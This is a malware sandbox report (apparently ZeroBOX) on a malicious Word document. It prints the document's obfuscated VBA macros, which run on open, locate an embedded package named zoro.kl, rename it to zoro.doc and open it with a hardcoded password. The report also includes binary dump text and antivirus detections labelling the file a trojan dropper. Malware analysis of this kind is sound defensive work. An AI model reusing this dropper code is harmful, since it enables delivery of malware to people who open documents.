popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
  
     
     Dim lds As String
        Dim vssfs As String
Private Sub Document_Open()
Dim dfgdgdg
Call s1("L")

Dim fds, fdsa As String
fds = "\"
 fdsa = ".d"
Call s2("ocal/")
Call ass
Call acc
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)
fds = kytrewwf & fds
If Dir(fds & "zo" & "ro" & fdsa & vssfs) = "" Then
Dim mySum
mySum = Application.Run("ppl")

If Len(lds) > 2 Then


Call nam(lds, kytrewwf)
Call pppx(fds & "zo" & "r" & "o" & fdsa & vssfs)




End If
End If
End Sub

Sub plof(kl As String)
lds = kl
End Sub
Sub ass()
vssfs = "o"

End Sub
Sub acc()
vssfs = vssfs & "c"
End Sub

Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), lds)

End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
  
     
     Dim lds As String
        Dim vssfs As String
Private Sub Document_Open()
Dim dfgdgdg
Call s1("L")

Dim fds, fdsa As String
fds = "\"
 fdsa = ".d"
Call s2("ocal/")
Call ass
Call acc
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)
fds = kytrewwf & fds
If Dir(fds & "zoro" & fdsa & vssfs) = "" Then
Dim mySum
mySum = Application.Run("ppl")

If Len(lds) > 2 Then


Call nam(lds, kytrewwf)
Call pppx(fds & "zoro" & fdsa & vssfs)




End If
End If
End Sub

Sub plof(kl As String)
lds = kl
End Sub
Sub ass()
vssfs = "o"

End Sub
Sub acc()
vssfs = vssfs & "c"
End Sub

Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), lds)

End Sub

Original

                                        Attribute VB_Name = "Module1"
Dim vcxz

Sub pppx(pili As String)
Call oicx(pili)

    Documents.Open FileName:=vcxz, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="doyouknowthatthegodsofdeathonlyeatapples?", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub

Sub oicx(iii As String)
vcxz = iii
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module1"
Dim vcxz

Sub pppx(pili As String)
Call oicx(pili)

    Documents.Open FileName:=vcxz, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="doyouknowthatthegodsofdeathonlyeatapples?", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub

Sub oicx(iii As String)
vcxz = iii
End Sub

Original

                                        Attribute VB_Name = "Module3"

Sub bvxfcsd(tini As String)

 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49


While sda < 50
      ntgs = ntgs - 1
  
      If Dir(Left(uuuuc, ntgs) & tini, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & tini)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module3"

Sub bvxfcsd(tini As String)

 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49


While sda < 50
      ntgs = ntgs - 1
  
      If Dir(Left(uuuuc, ntgs) & tini, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & tini)
End Sub

Original

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

    Dim Ters As Object


For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = "zoro.kl" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub




Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)


Dim oxl
oxl = "\zo" & "ro." & "d"
oxl = oxl & "o"
oxl = oxl & "c"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub

Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

    Dim Ters As Object


For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = "zoro.kl" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub




Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)


Dim oxl
oxl = "\zoro.d"
oxl = oxl & "o"
oxl = oxl & "c"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub

Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub

Original

                                        Attribute VB_Name = "Module2"
Dim mgf, uhjknb, wers, qweds, fafaa As String
Dim ocm As String

Sub s1(vi As String)
mgf = vi
End Sub
Sub s2(vi As String)
uhjknb = vi
End Sub
Sub s3(vi As String)
wers = vi
End Sub


Sub ppl()
Dim mfd As String
mfd = "e"
wers = "T"

Dim poidds As String
Dim ugfc As String
ugfc = "p"
qweds = "m"


poidds = mgf & uhjknb & "" & wers & mfd & qweds & ugfc
Dim lklc As String
lklc = poidds
Call bvxfcsd(lklc)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module2"
Dim mgf, uhjknb, wers, qweds, fafaa As String
Dim ocm As String

Sub s1(vi As String)
mgf = vi
End Sub
Sub s2(vi As String)
uhjknb = vi
End Sub
Sub s3(vi As String)
wers = vi
End Sub


Sub ppl()
Dim mfd As String
mfd = "e"
wers = "T"

Dim poidds As String
Dim ugfc As String
ugfc = "p"
qweds = "m"


poidds = mgf & uhjknb & "" & wers & mfd & qweds & ugfc
Dim lklc As String
lklc = poidds
Call bvxfcsd(lklc)
End Sub
EMBED Package
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
QE:4i~
/>'Cmq
3]x=5E
hRh9Wc
oj>ojer#w
?E QGA
qWVeJ)
i>ojZc
)>ojZM\
>oj>oj>oj>oj
>ojI)~oj
oj>oj>oj>oj
i>oj@2
"J*:(3
>oj>oj>oj>oj
oj>oje
uZI*dP
)>oj>ojeIc
uw9kn~
+3\$W3
J)>ojZC$
i>oj>oj>oj
~oje7}
,,|ck`
HZk#q$s
iR\"lK
>oj>oj
5o*lht
Ry/-|-t$e[9.
t6)o+?
)>ojM\
i>ojZO
RI%-GI;
@'rjY#
{T5a%ajJ
-GE &N
eADRGIRy^
i>oj>oj>ojM\
~oj>oj
EGRUD"GG
[W1(GoVm
'a>oj>oj>ojeG)
RTtPR&N
)>ojZO
du%7eI
oj>oj9
Ac4r?_8D
-[]kE_
oj>oje?
o<1w4{
sossqt
VWIqgyk.
73x;W%
,wp4/2
vVv0]G
SE*1I#x
Y_yzl>
Ksuuyyg,
<?wuyo
+-eyk-t
+GoSGn
aVU;]c
>oj>oj
~oje7}Q-\
lcco>dga
)~oj|pf
RV+\\}
tyuce7
riw2$2
,.n,ole[
P>S6Kv
JC:K}A
+ytyus
1>oje?
oj>ojZ
GySGy\
|+m._6
<duJ*KS
a~4|9>
E~o.$q
gqx<9p
?3>ojZ
gy%eVe
Aymmsn
[^KXbO
Z6[]!YZ
)I_QdR
}cgqyb
F|?<K#
tk9^kBjb!
CzP5&m
|?%q6i
P^irX\yM
quuq#K,
"G%K_N
YjOo3Z]@
j{};MYv?
hJYVY%
PZw>-N
KU5V?'-
)/"mH$
IoG(s
m;wy{~
>=>y%kK;
|>}a|G
;{xR(Ub
n]TOg%
sK{E|\
q$SG,Q_
UlJWo%
v~\~kT>$
$geTn|
o,u=*MSR
$u~=>:
zM\6,}
eo-i6U
oj>ojZ
$m-6;z
;}CRP2h
5OUuM-o
y&_;|0
7.1O^k
yM]Rxj
Qv.8e%s
>oj>ojZ(
{T[*I(
fTU}Yw
Q]'8QE
OLE Package
Package
Normal
zoro.kl
C:\Users\kell\Desktop\Newfolder\zoro.kl
C:\Users\kell\AppData\Local\Temp\zoro.kl
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<encryption xmlns="http://schemas.microsoft.com/office/2006/encryption" xmlns:p="http://schemas.microsoft.com/office/2006/keyEncryptor/password" xmlns:c="http://schemas.microsoft.com/office/2006/keyEncryptor/certificate"><keyData saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="tyRydy2
.i*fbB
Td$%op
nI?YQ3
;'=bxW>k
G~qotZ
P#]N6P
U-w<#9
|}]]4v
$bpOSe
y:Aj<E^
0_A?uw
^KU`.k8
R4GK~7
%%t)XUJV
03)eLoP
v)Yt0}
p:n&KR
bL(A*~z=*4-e
CM^v IM
5[N1mr
gD-mPHz
1*/f..
;Rx%V>
3PfC84
epP:C!
Q1KHc\
)LlPY}8
Kg@uh[f
1oT#*lB
G~Tyut
$k*>LE
QN-Z2+
r6"L0z
wOAT0I
pumW(mqC
h= N7x
6,JMJH
NM\~_d
X@)lY,
,}{ePQ
~6g;Fx
:R"Gs3
wVSd:p++
q+w(I{l5
Ml3%|V]
4Gx|}C4
rhK6Vc
U@Y Z<
xQY\x>
Z497]v
$J74bq
&}2;u6
[z:72`
"\Li9F
kEz:kN
-)<Q@1)
f@a>'~
Qi1ot66
9'xorn
i"*vPpn
RlZ}&u
%OZ>3la
Kfv*~yhR+
e"Wu"
!d]uwY
+5iZVb
LZoQ=@
&LW(tpWv*1
w.XLK|
h&-1j*
Pt:T>-
2_hh'a
_Lj7Pj
u8l/6Avx
QjQvUz
-j$%cV
&'fLhA
E'+_0a
`dsnX-
SKDJ iTJ^
2:GJpS
?l4|de
4_%INB]
6qd$IM
&X@`$p
:j:b-i
8?9S<u
GY}!u4
(b#Zw`
c8]S<w
*~c5Qq
WFIzkg
=_Z%:M
-/{NaG*"
66UP6U
=Ivzo:!
)4qKP]
I:sM!
F}3{-A
c( !V"
z*N]$X
[*'vER<
YMT5*NmA
8c-tln
Z@"~zn
sl`e4{
C2CPUB^
b9<,!D
WP)[f5
wn|;Bc
Ol5Em ~a
eJ\|cT
Pt]]Gj
RQ}'**
XYLCz-(z
!I "j~Q
1TRDGP
ZKqcFW
bk"IkF g
05RB^s
D4aXU+
&n)yMr
``gK'b<
KNb :~
0"E~un
cnT;$55D
s'Ea,e
|aW#Uw
{!OQkW*
;##Sbj+
PrC1~p
D>7^A:
9O`A%o
n?4E#T
TBI./*
Q:ZG\G
ZzF)DvL
mdGa|2
FAm7?iI"n
jw*.1B
PiJ(\;
g}y:apQh2
S2Ru7V
w<[N~I
s8!h:L`
C:J=)2
.pxhD@
+.$&ct
E4uL,=
6i$zC"
rk}`{_P
46\4NJ
UFF.;/#
CDY}5
!mb@"~
oevng3
Kf Lp%
QI-hKR#
`v%=:-
]BZBn|
)_M-<#X
YE]'(G
&"=/}`
"7;Vn)
-m5hRL
v6bby-W@
\Cb^Cg]
M'y=Br
9#jUQh
v{A[31o
S6X2E?
"G#y?P
]\j]=
QCu7MS5
=0$K0K
C5~&)9
2~R4cz
uXFfWo
"fH>z9
MoFTip
zxN]AlU
3:LT`R
lC&|-
Xd+B\s"R
f_w5X,
@]Tw-
Cn0PS;d
U`nn@S
=Aw"YP
_,%\HW|
UES0,R
qXD'\s
+^fxbh
]x7caH
~/8T}F
+LLBG<N
r{pmLA
dzJ/h}
03>]g6H
)+Gf8L
a''^d2
5wq1)F
vz=q%Q
ovR\tvZ
~/AFnP
~1%" )
H5=bHh
mB.fqT
$-%)7
#8+ft,
+t`)!(
@)zce+
S$z' 4
O!I"&#0
&.{2#8
I3O0MW
$W6F.kmR
JP)].N
BU4uQW
(1o&@U
+[\-xp
YeOa,_
TRUJta
5[kuHasS.<
`tk@_}
`p]F$xQ
Q>!{_/\[nV
>?gLPBs
+o{d^R
I)6ED,U.
yPR.bk
v*S4r"
,srpP&I
x<N715
"nJNi
pQy|t$C
(+KTLV
B ")2r
zl`S.p
qGNk3{
\MP16E
w=p$%2^
#A-2co
?RHt1@O
odSec&
65#1W0'9
JAHkPY
_3y/?&
zT?a^
$'Aq4
oB$Q0<
`|zP/a[
o)i'ly1
GA(c_:>
,B671l?c[
1^8pgt
-Mx&y4
`!zh"F
lFn[N4p
ZNm;ty
D+v"ze
rj^>C%
+BOv:
F<S*SC~
8(=x>/MZ>^DH
bM8,fX
bU y~&[0
h@j+>u
NJ'K#Q
*`(1hp
?5!Leb]
Yhntyr
a{esjW"
>\wrk;
KXnyGKeA
vkj3/B
{/3S^Z
}xE>xm
[Dq=xE
]j^8Hp
Rl%Aai+L
Q7TElOO
;R+eF"
|KOOl.[
oXU86(C~
t1u+rl
VsF82V
Ji.:vl
eP'$?iD
siYUIs3
6Eim}'
qXz;yc
~?C^)-[
;*t1m-
:t>Ge
!]C"=@
Ot}BKE
b64h|'
MZ=po
oj&,oN
;F$h(=
_e4aAX
76!Kb<
4l(Q?4
.{-vT,
$W=YdiW!
u_Aa1$
WTP3LJX$#z
Gw/L4]
,j:-Gq
TthSpl
H/vu;0
k4U0:3
@P]b#{
8nA"z)GJ
S)fq_
Ao+qQZc
L%i^7#}
ZFTnI
oEwIV(
m|f;Dz,]
B}UE >
e[g0<&
u#16Fr
3X7T4(
~]2>De
uD&31gL
.#OWp_C
FzS$V]
c?iz+scN
" ZZT^
*a:59x
SnN1,;
9% t%%Cj
{UT`~(
2[i'3%
DBsGb$n
R&MQ.r=
phCuW(>3
`O.Gm[o
R~#O.:
=ZcWcM
f,_hc0
^t"AzD
8{51\/
Qvm7,"oA
6[,f#
?S<.O-S
%yI5=Q5
[TtJ!;
'Cj=tUL
<t W.M
X';_My,E
}h`G?]
0dAmZD
2%!T7<
me8td<5
RsG?_`8
v]TYCj
UxTten
,8tq7w`
Y!Am$RG
g=R.=>@
Qd4zYd
#Q#x}X
JRx9OU
XHh/p
/m2$#K
@a}9[~
;V8P3O
bo>*\+
TV:iB/
y^^tT*"
dD8sFhX%
l}51W
F~aE2g
yzB'I}g
l-W`'f
Kh9+-#
%Li])I
|NZ>MH
Exy3Rt
oq.i2?
vf;z5A
tDf%TkR]
Wr|s]|
4:9II~H
KN46Y[D{
yo3Py6
Q#B`a*Z
S`j\GT
'OfR*/
->WU^
>g\_`K
rN]H'{I!
'q]&ci
))F6FC
D19-+T
]5-p_s;
e3WJgk
AFGta!'
)fk`_=\
f.2jn"
{ 4dope
l{]Hr@
zP$"`K6
ew,LxD
"Wch@:@
l* (|rv
{ci](W
#?o,G g
X|I]J2
m(!LWf
I~!{?4L
!=S23jY
D2`0c:
x9Z_30
1~&$o {7
X Qq/ac
(}Y2}$e
D5y<mo
N?S"&1\
(U)VN|.
p}Iwq@~F
cK:mng
7v0Lg7SOp
McI+7\X7W
?9A`[p
a(;ZJ
8yBa/;t
5#V>}g
*tz7\K6
0E0#Kb
V@'aCj?<
h2$"Nf
{%^E[8
./vl.kx
G:4lYR.le
DnS{67|
P"&kiB
Pd8WDg
$?&DAO
1V<#J|
.Gs{yV
OKi{%-
bl.ech
O5Itc,H
?>rY`B
/L;9Xc5m<
.DYyewG=
(zd0BM
/17\x
x\[}dh
MG/::4/E
doH}n9n
mCEyAA
+4A=Ku"id
auth]Y4
EuoEM
nQ[u{jt
02@XDw
)RGlQz
HhuK'.{m
%1z'=B
|qQH>&X@
;>+q#h
Ka7@3f
pVF`;$w
.VE~%-
,t|N4a/
beS%$u
cm_44T
skIA'(
JvBlb8
8Onh1v45
Kh@}Xs
G{5w[)
'+""o
2X3/]
=@`a0E8
]yca0zTS0
FIkn6#
};j{{Df
A)XrfG3
dRFeGW
bLN)/7
sP-f"4FS
@Fe10&@c
rs5%:A
RSKWVl'8
(:cDW":
53<Y$!c
aH5i3YjZ
-bBa!
B2N\>A
EKX@5T
k*{R{k
sS1h]K
bUX8uLsX
7C"= [
S{3xn-
Bj+W4j
uU`kDLW
k:)KQI
|Hm"}1
d6/k_
+wldF@
,/)IjY
K.U`gT
ho0(p]dl
F; T>Q
i[$W~b
3IM$G
zpn+Aof*O
c2g/-A
lJr&}z
d?BU1F5
?K=>}J
{9F&.`
lRH:(6
lQScvZ
YAP+:`
Emhk9`
D!s0>ceQ]I5
c^%rX$A
LGbLzn
\-7?/>
Ac#kkjd
f<L3i$
G]*qGO
*&TZXWE
4Vc,4eZI
hw*MQV
Nx!!}@#
>q89?j3
3Q5U?I
C6XpzT
+H;30*^)
HnjY|M
=%R)!f
DkdEj0}
1nS-ie
9 *GxKgabG
l$Xyts
{&U]aa
4~.W{@t\\
5&2syR
donbA@F
DB[cd4
N:Zb
vG36[*
%1F;X2R
q)f(Cz\
"|JvA:
;`s-zl
+(&}K
p[hAzP
YU`V_|[
5jC4^h1
?ta/KM
-,CqC3ZP
^^/]i1}
\3cMgO
xY8.tf
^3#xqL/
czNYu}
&e<jDu
SnoeS
"!wvEW'G
FW`I?x
T2`A_L*
TSk2>=F
n=g0./_
kTg&L"
'zj8*5
7/Oi3h9
hj]$z
YWgM0/:
.&U(u9tp
"u:]1Z
Zl=mu`
=Nl5{]
}Bb\mq
Y~5I`v
L.1/6aG
NERYc^
*R2Vg
WknkfTn
qR2u1-E
$im@p
N_e/SO
wJR5=[
)"vnBGO
t0hYApaO1vVDJZQ=="/><dataIntegrity encryptedHmacKey="wYV47uTlljpb6u/M7z4mLTIYTgN1Az/RzatNN3OHCbZJPCglgNmpdVReOH3XwzVh+HO9Wf+Y0yjb/6GR41IUhQ==" encryptedHmacValue="oaleWgbKX2OLuVJ5OCDdlSPqV5iLwI9UYJMD4idxzZZUnXZScoaRMiUDUpqwEXeZ5DlJs7djJSdosc644GP61w=="/><keyEncryptors><keyEncryptor uri="http://schemas.microsoft.com/office/2006/keyEncryptor/password"><p:encryptedKey spinCount="100000" saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="y19h+Y3JRNJZ9FG4umeIiw==" encryptedVerifierHashInput="WovVkf59CA90VTYpuVjjQA==" encryptedVerifierHashValue="t5zbX7hd+1jCe0XDx3qHl0sm+eGOjGL+GjKX2KMnIhG3qflApbQJ/rqn0v0hJd7yHc6+Kf3ouWXDd7TEAMb30w==" encryptedKeyValue="48lu6qGjIwXtiWLqCgCA1aM2f2/kNqluby1oKl1LHPw="/></keyEncryptor></keyEncryptors></encryption>
!0HFKV
twuHWgL:;b
osoft Office Word
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
!G{2DF
8D04C-5B
FA-101B-
m Files\@Common
icrosoft
Shared\
OFFICE16
\MSO.DLL
M 16.0
Lib0rary
5Scripti
f420B28
E718-11C@F-893D
C9054228
fcrru`n.dllH*
Runtime
ocumentG
qeQ@.t
Module1G
2/!2*!2/!20!
doyouknowthatthegodsofdeathonlyeatapples?
Attribut
e VB_Nam
e = "Mod
im vcxz
ppx(pili As S
Documen
ts.Open
, Confir
versio
ns:=Fals
e, ReadO
nly:= _
AddToR
5Pas sword
"doyoukn
owthatth
egodsofd`eatho
pples?",
$TemplaLte
RWrite
'Forma
o, XMLTr0ansf
Attribut
e VB_Nam
e = "Mod
im mgf,
uhjknb,
wers, qw
fafaa As S
ub s1(vi1
gpo0idds
bvxfcsd(
Attribut
e VB_Nam
e = "Mod
Sub bvx
fcsd(tin@i As S
x Sele
ction.Mo
veDown U
nit:=wdL
ine, Cou
\ Right
aracter
Backspac
.Default
FilePath
(wdUserT
emplates
If Dir(L
"" Then
'@"WendB
Document
.hdhddV#
*\CNormalrU
ThisDocument
Module1
Module3
Module123345
Module2
Project
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
C:\Windows\System32\scrrun.dll
Scripting
Document
Document_Open
VBE7.DLL
Search&
bvxfcsd
zoro.kl
Attribut
e VB_Nam
e = "Mod
ule12334
pls As S!
ub Searc
ect, paf!
or Each Q
KFiles
zoro.kl"
End <If
Handle:
Call ouxsx(
o" & "
)uoia(ff
ID="{7D77A649-4624-48E7-B8A8-6ACEDE1107E8}"
Document=ThisDocument/&H00000000
Module=Module1
Module=Module3
Module=Module123345
Module=Module2
Name="Project"
HelpContextID="0"
VersionCo
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
lds As rS
_Op@en()
ll s1("L
2("`ocal/
ytrewwf
= CBs.De
faultFil
ePath(wd
If Dir(
&myS0um
c ) > 2
plof(kl
hdhddp(asdH
M0yFSO!
stemObje>c
urceFold4er!
= Ne@w Scri rn
,b7Sea
Win64x
Project-
stdole
Normal
Office
Scripting
ThisDocument<
_Evaluate
vssfsNU
Document_Open
dfgdgdgH
kytrewwfjA
Options
DefaultFilePath
wdUserTemplatesPath
Application
hdhdde
FileSystemObjectNU
MyFile
SourceFolder
DestinationFolder
MyFolder
Folder
MySubFolder
Search
GetFoldern
Module1b
vcxz},
Documents
FileNamej
ConfirmConversions
ReadOnly4<
AddToRecentFiles
PasswordDocument8
PasswordTemplate
Revert
WritePasswordDocument
WritePasswordTemplate
wdOpenFormatAutoh
XMLTransform
Module3d
bvxfcsdn
SelectionZ
MoveDown
wdLine
Count0v
MoveRight
wdCharacter
TypeBackspacea
ntgs|W
vbDirectoryg
Module123345+
pafs7}
SubFoldersx=
FileswX
ErrHandle
ousx4$
Module2c
uhjknb
wersJ6
fafaaM
poidds
Documentj
mpatible32="393222000"
CMG="1F1DED2433645A685A685A685A68"
DPB="4A48B811E212E212E2"
GC="75778742996C9A6C9A93"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=78, 0, 1098, 467,
Module1=104, 104, 1124, 493,
Module3=156, 156, 1176, 545,
Module123345=52, 52, 733, 529,
Module2=156, 156, 703, 529, Z
ThisDocument
Module1
Module3
Module123345
Module2
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
$4vq^W
MB[F7x"
>Yr]H+
a!e9#i
An7jah
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
2020_1
Root Entry
WordDocument
ObjectPool
_1696132547
EPRINT
CompObj
ObjInfo
Segoe UI
zoro.kl
Ole10Native
1Table
SummaryInformation
DocumentSummaryInformation
Root Entry
EncryptedPackage
DataSpaces
Version
Microsoft.Container.DataSpaces
EncryptedPackage2
StrongEncryptionDataSpace
StrongEncryptionTransform
{FF9A3F03-56EF-4613-BDD5-5A41C1D07246}N
Microsoft.Container.EncryptionTransform
DataSpaceMap
DataSpaceInfo
StrongEncryptionDataSpace
TransformInfo
StrongEncryptionTransform
Primary
EncryptionInfo
C:\Users\kell\AppData\Local\Temp\zoro.kl
zoro.kl'
C:\Users\kell\Desktop\Newfolder\zoro.kl
Macros
Module1
$*\Rffff*096365d870
Module2
Module3
__SRP_0
__SRP_1
$*\Rffff*076365d870
$*\Rffff*0:6365d870
$*\Rffff*0:6365d870
ocal/$
__SRP_2
__SRP_3
__SRP_4
__SRP_5
__SRP_6
__SRP_7
__SRP_8
__SRP_9
__SRP_a
__SRP_b
Module123345
ThisDocument
$*\Rffff*086365d870
(1Normal.ThisDocument
$*\Rffff*046365d870
$*\Rffff*076365d870
*\R1*#8d
*\R1*#17b
*\R1*#c1
*\R1*#166
*\R0*#12
*\R1*#c6
*\R1*#c0
$*\Rffff*086365d870
$*\Rffff*096365d870
_VBA_PROJECT
PROJECT
PROJECTwm
CompObj
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
*\G{420B2830-E718-11CF-893D-00A0C9054228}#1.0#0#C:\Windows\System32\scrrun.dll#Microsoft Scripting Runtime
ThisDocument
046365d870
ThisDocument
Module1
096365d870
Module1
Module3
0:6365d870
Module3
Module123345
086365d870
Module123345
Module2
076365d870
Module2
tThisDocument
1Module1
3Module3
5Module123345
2Module2
Normal
Default Paragraph Font
Table Normal
No List
Project.Module2.ppl
Project.ThisDocument.ass
Project.ThisDocument.acc
PROJECT.MODULE2.PPL
PROJECT.THISDOCUMENT.ACC
PROJECT.THISDOCUMENT.ASS
Unknown
Times New Roman
Symbol
Calibri
Calibri Light
Cambria Math
Antivirus Signature
Bkav Clean
Lionic Clean
Elastic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
ALYac VB:Trojan.Valyria.5322
Malwarebytes Clean
VIPRE LooksLike.Macro.Malware.k (v)
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
Cyren W97M/Agent.ABS.gen!Eldorado
Symantec Clean
ESET-NOD32 VBA/TrojanDropper.Agent.CEY
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Trojan-Dropper.Script.Generic
BitDefender VB:Trojan.Valyria.5322
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan VB:Trojan.Valyria.5322
Tencent Clean
Ad-Aware VB:Trojan.Valyria.5322
Sophos Clean
Comodo Clean
F-Secure Heuristic.HEUR/Macro.Downloader.MRAHJ.Gen
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition W97M/Dropper.ik
FireEye VB:Trojan.Valyria.5322
Emsisoft VB:Trojan.Valyria.5322 (B)
SentinelOne Clean
GData VB:Trojan.Valyria.5322
Jiangmin Clean
Avira HEUR/Macro.Downloader.MRAHJ.Gen
MAX malware (ai score=81)
Antiy-AVL Trojan/Generic.ASMacro.2D970
Kingsoft Clean
Gridinsoft Clean
Arcabit VB:Trojan.Valyria.D14CA
ViRobot Clean
ZoneAlarm HEUR:Trojan-Dropper.Script.Generic
Microsoft Clean
AhnLab-V3 Clean
Acronis Clean
McAfee W97M/Dropper.ik
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.W97Obfuscated
Rising Clean
Yandex Clean
Ikarus Trojan-Dropper.VBA.Agent
MaxSecure Clean
Fortinet VBA/Agent.CEY!tr
BitDefenderTheta Clean
AVG Script:SNH-gen [Trj]
Panda Clean
No IRMA results available.